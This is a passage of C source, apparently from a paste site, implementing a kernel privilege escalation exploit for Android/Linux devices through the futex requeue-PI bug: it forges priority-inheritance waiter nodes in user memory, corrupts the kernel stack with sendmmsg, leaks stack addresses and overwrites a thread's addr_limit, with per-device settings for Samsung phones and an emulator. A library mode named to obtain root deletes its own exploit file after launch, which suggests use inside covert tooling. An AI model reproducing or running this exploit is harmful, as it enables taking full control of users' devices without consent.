  839.   act.sa_handler = hack_the_kernel;
  840.   act.sa_mask = 0;
  841.   act.sa_flags = 0;
  842.   act.sa_restorer = NULL;
  843.   sigaction(12, &act, NULL);
  844.  
  845.   // Handler to kill useless threads.
  846.   act3.sa_handler = thread_killer;
  847.   act3.sa_mask = 0;
  848.   act3.sa_flags = 0;
  849.   act3.sa_restorer = NULL;
  850.   sigaction(14, &act3, NULL);
  851.  
  852.   setpriority(PRIO_PROCESS, 0, prio);
  853.  
  854.   pthread_mutex_unlock(&is_thread_desched_lock);
  855.  
  856.   LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
  857.   ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  858.   LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());
  859.  
  860.   // The firs node that will exit. Kill some other thread
  861.   if(prio == 11) {
  862.     LOGD("[MAKE ACTION] Killing prio 11\n");
  863.  
  864.     pthread_mutex_lock(&is_thread_awake_lock);
  865.     kill(tid_11, 14);
  866.     pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  867.     pthread_mutex_unlock(&is_thread_awake_lock);
  868.  
  869.     LOGD("[MAKE ACTION] Killing prio 7\n");
  870.  
  871.     pthread_mutex_lock(&is_thread_awake_lock);
  872.     kill(pid7, 14);
  873.     pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  874.     pthread_mutex_unlock(&is_thread_awake_lock);    
  875.  
  876.     LOGD("[MAKE ACTION] All done!\n");
  877.     sleep(1);
  878.  
  879.     pthread_exit(NULL);
  880.  
  881.   }
  882.  
  883.   // Last node will exit
  884.   if(prio == 6) {
  885.     LOGD("[MAKE ACTION] Prio 6 node is exiting\n");
  886.  
  887.     // Notify the main that we finished
  888.     pthread_mutex_lock(&done_lock);
  889.     pthread_cond_signal(&done);
  890.     pthread_mutex_unlock(&done_lock);
  891.  
  892.     pthread_exit(NULL);
  893.   }
  894.  
  895.   // Never reached
  896.   return NULL;
  897. }
  898.  
  899.  
  900.  
  901. // Create a new thread to add a new waiter with a prio
  902. pid_t wake_actionthread(int prio) {
  903.   pthread_t th4;
  904.   pid_t pid;
  905.  
  906.   LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");
  907.  
  908.   // Create the thread that will add a new lock.
  909.  
  910.   pthread_mutex_lock(&is_thread_desched_lock);
  911.   pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
  912.   pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
  913.  
  914.   LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");
  915.  
  916.   pid = last_tid;
  917.  
  918.   // Needed to be sure that the new thread is waiting to acquire the lock
  919.   sleep(1);
  920.  
  921.   pthread_mutex_unlock(&is_thread_desched_lock);
  922.  
  923.   // Return the new thread created
  924.   return pid;
  925. }
  926.  
  927.  
  928.  
  929. // This is the first evil thread.
  930. // When the vuln is triggered will use a syscall to modify the kernel stack.
  931. void *stack_modifier(void *name)
  932. {
  933.  
  934.   pthread_t l8;
  935.   int sockfd, ret;
  936.   struct mmsghdr msgvec[1];
  937.   struct iovec msg_iov[8];
  938.   unsigned long databuf[0x20];
  939.   int i;
  940.   char line[20];
  941.   struct sigaction act3;
  942.  
  943.   stack_modifier_tid = gettid();
  944.  
  945.   LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());
  946.  
  947.   setpriority(PRIO_PROCESS , 0, 12);
  948.  
  949.   // Register an handle for a signal. We will use it to kill this thread later.
  950.   act3.sa_handler = thread_killer;
  951.   act3.sa_mask = 0;
  952.   act3.sa_flags = 0;
  953.   act3.sa_restorer = NULL;
  954.   sigaction(14, &act3, NULL);
  955.  
  956.  
  957.   for (i = 0; i < 0x20; i++) {
  958.     databuf[i] = hacked_node;
  959.   }
  960.  
  961.   for (i = 0; i <= 8; i++) {
  962.     msg_iov[i].iov_base = (void *)hacked_node;
  963.     msg_iov[i].iov_len = 0x80;
  964.   }
  965.  
  966.   //msg_iov[IOVSTACK_TARGET] will be our new waiter.
  967.   // iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.
  968.  
  969.   msg_iov[current_cfg->iovstack].iov_base = (void *)hacked_node;
  970.   msg_iov[current_cfg->iovstack].iov_len = hacked_node_alt;
  971.  
  972.   // The new waiter will be something like that:
  973.   // prio = hacket_node
  974.   // prio_list->next = hacked_node_alt
  975.   // prio_list->prev = hacket_node
  976.   // node_list->next = 0x7d
  977.   // node_list->prev = hacked_node
  978.  
  979.   // hacked_node will be somethin < 0 so a negative priority
  980.  
  981.   msgvec[0].msg_hdr.msg_name = databuf;
  982.   msgvec[0].msg_hdr.msg_namelen = 0x80;
  983.   msgvec[0].msg_hdr.msg_iov = msg_iov;
  984.   msgvec[0].msg_hdr.msg_iovlen = 8;
  985.   msgvec[0].msg_hdr.msg_control = databuf;
  986.   msgvec[0].msg_hdr.msg_controllen = 0x20;
  987.   msgvec[0].msg_hdr.msg_flags = 0;
  988.   msgvec[0].msg_len = 0;
  989.  
  990.   sockfd = make_socket();
  991.  
  992.   LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");
  993.  
  994.   // Lets wait on lock1 to be requeued
  995.   syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);
  996.  
  997.   // Ok, at this point the vulnerability shoud be triggered.
  998.   // We can modify the waiters list in the kernel.
  999.  
  1000.   LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");
  1001.   LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");
  1002.  
  1003.   // Use now a syscall deep to modify the waiter list.
  1004.   // sendmmsg -> sendmesg -> verify_iovec
  1005.   // verify_iovec will fille the iovstack structure of sendmesg and we know that
  1006.   // iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate
  1007.  
  1008.   while (1) {
  1009.     ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
  1010.     if (ret <= 0) {
  1011.       LOGD("[STACK MODIFIER] Sendmmsg Error\n");
  1012.       send_pipe_msg(ERROR);
  1013.       exit(-1);
  1014.     }
  1015.     LOGD("[STACK MODIFIER] Done\n");
  1016.     break;
  1017.   }
  1018.   LOGD("[STACK MODIFIER] Leaving\n");
  1019.  
  1020. }
  1021.  
  1022.  
  1023. void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {
  1024.  
  1025.   *((unsigned long *)(hacked_node_alt - 4)) = 0x81;                   // prio (120 + 9)
  1026.   *((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20;      // prio_list->next
  1027.   *((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next
  1028.  
  1029.   *((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85;                // prio (120 + 13)
  1030.   *((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt;     // prio_list->prev
  1031.   *((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev
  1032.  
  1033.   // Alternative list
  1034.  
  1035.   *((unsigned long *)(hacked_node - 4)) = 0x81;
  1036.   *((unsigned long *) hacked_node) = hacked_node + 0x20;
  1037.   *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
  1038.  
  1039.   *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
  1040.   *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
  1041.   *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
  1042.  
  1043. }
  1044.  
  1045. void reset_hacked_list(unsigned long hacked_node) {
  1046.  
  1047.   *((unsigned long *)(hacked_node - 4)) = 0x81;
  1048.   *((unsigned long *) hacked_node) = hacked_node + 0x20;
  1049.   *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
  1050.  
  1051.   *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
  1052.   *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
  1053.   *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
  1054.  
  1055. }
  1056.  
  1057.  
  1058. void *trigger(void *arg) {
  1059.   int ret;
  1060.   unsigned long readval;
  1061.   pid_t pid;
  1062.   int i, k;
  1063.   char buf[0x1000];
  1064.   int tid_counter = 0;
  1065.   unsigned int addr, setaddr;
  1066.  
  1067.   setpriority(PRIO_PROCESS, 0, 5);
  1068.  
  1069.   LOGD("[TRIGGER] Trigger pid %x\n", gettid());
  1070.  
  1071.   // Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue
  1072.   syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  1073.  
  1074.   // Now requeue the stack_modifier thread from lock1 to lock2
  1075.   while (1) {
  1076.     ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
  1077.     if (ret == 1) {
  1078.       LOGD("[TRIGGER] Stack modifier requeued\n");
  1079.       break;
  1080.     }
  1081.     usleep(10);
  1082.   }
  1083.  
  1084.   // Add a couple of waiters in the vulnerable kernel list
  1085.  
  1086.   wake_actionthread(3);
  1087.   pid6 = wake_actionthread(6);
  1088.   pid7 = wake_actionthread(7);
  1089.  
  1090.   // Now lock2 has this wait list: |6|<->|7|<->|12|
  1091.  
  1092.   lock2 = 0;
  1093.  
  1094.   // Trigger the vulnerability: requeue the stack modifier from lock2 to lock2
  1095.   syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);
  1096.  
  1097.   // If everything went as expected at this point the stack modifier is going tu use a syscall to modify
  1098.   // the wait list for lock2
  1099.  
  1100.   // Be sure he finished
  1101.   sleep(2);
  1102.  
  1103.   // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list
  1104.  
  1105.   // We can now start the list manipulation creating new node controlled by us
  1106.   // We build two chain: hacked_node and hacked_node_alt
  1107.   // Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev
  1108.   // could be switched.
  1109.  
  1110.   create_hacked_list(hacked_node, hacked_node_alt);
  1111.  
  1112.   // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|
  1113.   // with waiters with prio 9 and 13 in our userspace
  1114.  
  1115.   // Lets do something of interesting. Add a waiter and check wich list we are using.
  1116.  
  1117.   readval = *((unsigned long *)hacked_node);
  1118.   tid_11 = wake_actionthread(11);
  1119.  
  1120.   if (*((unsigned long *)hacked_node) == readval) {
  1121.     LOGD("[TRIGGER] Using hacked_node_alt.\n");
  1122.     hacked_node = hacked_node_alt;
  1123.   }
  1124.  
  1125.   // Is it patched?
  1126.   if (*((unsigned long *)hacked_node) == readval) {
  1127.     LOGD("[TRIGGER] Device seams to be patched.\n");
  1128.     send_pipe_msg(ERROR);
  1129.     exit(-1);
  1130.   }
  1131.  
  1132.   // Save the waiter address
  1133.   t11 = *((unsigned long *)hacked_node);
  1134.  
  1135.   // Try to find a thred we can hack
  1136.   for(k=0; k<20; k++)  {
  1137.  
  1138.     is_kernel_writing = (pthread_mutex_t *)malloc(4);
  1139.     pthread_mutex_init(is_kernel_writing, NULL);
  1140.  
  1141.     // Reset the hacked list
  1142.     reset_hacked_list(hacked_node);
  1143.    
  1144.     // Leak a kernel stack pointer (a new created waiter)
  1145.     pid = wake_actionthread(11);
  1146.    
  1147.     // Now we have the pointer of a waiter allocated on the stack. We can calculate the
  1148.     // thread_info struct in the kernel for that last called thread
  1149.     first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
  1150.  
  1151.     LOGD("[TRIGGER] Send a signal to the first evil thread\n");
  1152.     pthread_mutex_lock(&is_thread_awake_lock);
  1153.    
  1154.     kill(pid, 12);
  1155.  
  1156.     pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  1157.     pthread_mutex_unlock(&is_thread_awake_lock);
  1158.     LOGD("[TRIGGER] First evil thread is now waiting\n");
  1159.  
  1160.     sleep(1);
  1161.  
  1162.     LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);
  1163.  
  1164.     // Samsung exploitation
  1165.     if(current_cfg->is_samsung) {
  1166.       LOGD("[TRIGGER] Starting samsung...\n");
  1167.       addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  1168.      
  1169.       LOGD("[TRIGGER] mmap done\n");
  1170.       if (addr != 0xbef000) {
  1171.     continue;
  1172.       }
  1173.      
  1174.       reset_hacked_list(0xbeffe0);
  1175.       reset_hacked_list(hacked_node);
  1176.  
  1177.       *((unsigned long *)0xbf0004) = first_kstack_base + current_cfg->offset + 1;
  1178.       *((unsigned long *)hacked_node) = 0xbf0000;
  1179.  
  1180.       // Keep trace of the pending waiters
  1181.       remove_pid[remove_counter] = wake_actionthread(10);
  1182.  
  1183.       readval = *((unsigned long *)0x00bf0004);
  1184.  
  1185.       remove_waiter[remove_counter] = readval;
  1186.       remove_counter++;
  1187.  
  1188.       munmap((unsigned long *)0xbef000, 0x2000);
  1189.  
  1190.       LOGD("[TRIGGER] First step done: %x\n", readval);
  1191.  
  1192.       readval <<= 8;      
  1193.       if (readval < KERNEL_START) {
  1194.     setaddr = (readval - 0x1000) & 0xfffff000;
  1195.     addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  1196.  
  1197.     if (addr != setaddr) {
  1198.       continue;
  1199.     }
  1200.            
  1201.     reset_hacked_list(readval - 0x20);
  1202.     *((unsigned long *)(readval + 4)) = first_kstack_base + current_cfg->offset;
  1203.     *((unsigned long *)hacked_node) = readval;
  1204.    
  1205.     remove_pid[remove_counter] = wake_actionthread(10);
  1206.  
  1207.     readval = *((unsigned long *)(readval + 4));
  1208.      // Save the waiter address
  1209.     remove_waiter[remove_counter] = readval;
  1210.     remove_counter++;
  1211.  
  1212.     munmap((unsigned long *)setaddr, 0x2000);
  1213.  
  1214.     LOGD("[TRIGGER] Samsung done: %x\n", readval);
  1215.       }
  1216.     }
  1217.     else {
  1218.       reset_hacked_list(hacked_node);
  1219.      
  1220.       // Use the prev pointer to execute a write in kernel space (the thread addr_limit)
  1221.       *((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;
  1222.  
  1223.       tid_12 = wake_actionthread(12); // Will be in the user space hacked list
  1224.  
  1225.       readval = *((unsigned long *)(hacked_node + 0x24));
  1226.       LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);
  1227.      
  1228.       remove_pid[remove_counter] = tid_12;
  1229.       remove_waiter[remove_counter] = readval;
  1230.       remove_counter++;
  1231.     }
  1232.  
  1233.     // At this point we have a thread with an addr_limit = readval waiting to write something to us.
  1234.     // Try to create a new thread to be modified by the first one
  1235.     for(i = 0; i < loop_limit; i++) {
  1236.       reset_hacked_list(hacked_node);
  1237.       pid = wake_actionthread(10); // Will be in the user space hacked list
  1238.  
  1239.       LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);
  1240.       // Be sure the first can modify the second one
  1241.       if (*((unsigned long *)hacked_node) < readval) {
  1242.    
  1243.     #ifdef DEBUG
  1244.     for(k = 0; k < remove_counter; k++) {
  1245.       LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);  
  1246.     }
  1247.     #endif
  1248.  
  1249.     final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
  1250.     LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);
  1251.     LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);
  1252.  
  1253.     pthread_mutex_lock(&is_thread_awake_lock);
  1254.    
  1255.     kill(pid, 12);
  1256.    
  1257.     pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  1258.     pthread_mutex_unlock(&is_thread_awake_lock);
  1259.    
  1260.     sleep(2);
  1261.  
  1262.     reset_hacked_list(hacked_node);
  1263.     // Now we have a thread waiting to write something in the second thread.
  1264.     // The second thread is waiting to receive a signal by the first one
  1265.  
  1266.     // Tell the first thread to hack the second one
  1267.     write(HACKS_fdm, buf, 0x1000);
  1268.  
  1269.     while (1) {
  1270.       sleep(10);
  1271.     }
  1272.       }
  1273.       if(current_cfg->force_remove) {
  1274.     // Trace the pending waiters
  1275.     remove_pid[remove_counter] = pid;
  1276.     remove_waiter[remove_counter] = *((unsigned long *)hacked_node);
  1277.     remove_counter++;
  1278.       }
  1279.     }
  1280.   }
  1281.   stop_for_error();
  1282. }
  1283.  
  1284.  
  1285.  
  1286.  
  1287.  
  1288.  
  1289. /**************/
  1290. /*** MAIN *****/
  1291. /**************/
  1292.  
  1293. /// REMOTE and LIB: exploit as function
  1294. #ifndef LOCAL
  1295. int waiter_exploit_get_root(char *rcs_path, char *exp_path) {
  1296.   pthread_t l1, l2, l3;
  1297.   int ret = 0;
  1298.  
  1299.   memset(rcs, 0, sizeof(rcs));
  1300.   if(rcs_path)
  1301.     strncpy(rcs, rcs_path, sizeof(rcs));
  1302. ///////////////////////////////////////    
  1303.  
  1304. /// LOCAL: exploit as executable
  1305. #else
  1306. int main(int argc, char **argv) {
  1307. pthread_t l1, l2, l3;
  1308.  
  1309.   if(argc < 2)
  1310.     return -1;
  1311. #endif
  1312.  
  1313.   // Check if we are trying to exploit a supported device
  1314.   switch(waiter_exploit_check_exploitability()) {
  1315.   case NO_SUPPORT:
  1316.     LOGD("[TOWEL] Device not supported.... exiting!\n");
  1317.     exit(0);
  1318.     break;
  1319.  
  1320.   case DEFAULT:
  1321.     LOGD("[TOWEL] Default device detected!\n");
  1322.     current_cfg = &default_kernel;
  1323.     break;
  1324.  
  1325.   case SAMSUNG:
  1326.     LOGD("[TOWEL] Samsung device detected!\n");
  1327.     current_cfg = &samsung_kernel;
  1328.     break;
  1329.  
  1330.   case SAMSUNG_OLD:
  1331.     LOGD("[TOWEL] Samsung old device detected!\n");
  1332.     current_cfg = &samsung_old_kernel;
  1333.     break;
  1334.  
  1335.   case SAM_GRAND:
  1336.     LOGD("[TOWEL] Samsung grand device detected!\n");
  1337.     current_cfg = &sam_grand_kernel;
  1338.     break;
  1339.  
  1340.   case GOLDFISH:
  1341.     LOGD("[TOWEL] Goldfish emulator detected!\n");
  1342.     current_cfg = &goldfish_kernel;
  1343.     break;
  1344.  
  1345.   case TEST:
  1346.     LOGD("[TOWEL] Test config detected!\n");
  1347.     current_cfg = &test_kernel;
  1348.     break;
  1349.    
  1350.   default:
  1351.     exit(0);
  1352.   }
  1353.  
  1354. #ifdef LOCAL
  1355.   memset(shell_server, 0, sizeof(shell_server));
  1356.   strncpy(shell_server, argv[1], sizeof(shell_server));
  1357. #endif
  1358.  
  1359.   pipe(pipe_fd);
  1360.  
  1361.   if(fork() != 0) {
  1362.     return start_pipe_server();
  1363.   }
  1364.  
  1365.   sleep(2);
  1366.   close(pipe_fd[0]);
  1367.  
  1368.   // First we create two possible hacked list of waiters.
  1369.  
  1370.   addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  1371.   addr += 0x800;
  1372.   hacked_node = addr;
  1373.   if ((long)addr >= 0) {
  1374.     LOGD("[TOWEL] first mmap failed?\n");
  1375.     send_pipe_msg(ERROR);
  1376.     exit(-1);
  1377.   }  
  1378.  
  1379.   addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  1380.   addr += 0x800;
  1381.   hacked_node_alt = addr;
  1382.   if (addr > 0x110000) {
  1383.     LOGD("[TOWEL] second mmap failed?\n");
  1384.     send_pipe_msg(ERROR);
  1385.     exit(-1);
  1386.   }
  1387.  
  1388.   // Start the socket server we will use to hook inside the sendmmsg syscall
  1389.  
  1390.   LOGD("[TOWEL] Creating socket\n");
  1391.   pthread_create(&l1, NULL, accept_socket, NULL);
  1392.  
  1393.   sleep(1);
  1394.  
  1395.   LOGD("[TOWEL] Starting exploitation\n");
  1396.  
  1397. #ifndef LOCAL
  1398.   if(exp_path)
  1399.     remove(exp_path);
  1400. #endif
  1401.  
  1402.   pthread_mutex_lock(&done_lock);
  1403.   pthread_create(&l2, NULL, stack_modifier, NULL);
  1404.   pthread_create(&l3, NULL, trigger, NULL);  
  1405.   pthread_cond_wait(&done, &done_lock);
  1406.  
  1407.   LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());
  1408.   send_pipe_msg(ALL_DONE);
  1409.   sleep(1);
  1410.  
  1411.   exit(0);
  1412. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement